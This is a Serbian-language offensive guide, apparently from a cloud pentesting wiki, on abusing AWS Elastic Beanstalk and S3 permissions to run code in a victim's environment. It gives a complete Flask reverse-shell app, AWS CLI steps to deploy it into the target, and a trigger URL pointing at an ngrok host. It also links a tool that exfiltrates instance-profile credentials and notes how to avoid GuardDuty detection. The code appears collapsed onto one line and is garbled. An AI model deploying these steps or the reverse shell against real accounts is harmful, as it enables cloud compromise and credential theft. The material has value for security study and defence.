Da biste izvršili osetljive akcije u Beanstalk-u, moraćete imati mnogo osetljivih dozvola u mnogim različitim servisima. Možete proveriti na primer dozvole date za arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, dozvole za pisanje u S3 i mnoge druge
Sa dozvolama za pisanje u S3 bucket-u koji sadrži kod okruženja i dozvolama za ponovnu izgradnju aplikacije (potrebno je elasticbeanstalk:RebuildEnvironment i još nekoliko povezanih sa S3, EC2 i Cloudformation), možete modifikovatikod, ponovo izgraditi aplikaciju i sledeći put kada pristupite aplikaciji, ona će izvršiti vaš novi kod, omogućavajući napadaču da ugrozi aplikaciju i IAM ulogu povezanu sa njom.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, и друго...
Pomenute dozvole, kao i nekoliko S3, EC2, cloudformation, autoscaling i elasticloadbalancing dozvola su neophodne za kreiranje sirove Elastic Beanstalk scenarija od nule.
Prvo morate kreirati legit Beanstalk okruženje sa kodom koji želite da pokrenete na žrtvi prateći prethodne korake. Potencijalno jednostavan zip koji sadrži ove 2 datoteke:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Kada imate svoje Beanstalk okruženje koje radi sa vašim rev šelom, vreme je da ga migrirate u žrtvino okruženje. Da biste to uradili, morate ažurirati Politiku kante vaše Beanstalk S3 kante tako da žrtva može pristupiti (Imajte na umu da će se time otvoriti kanta za SVAKOGA):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.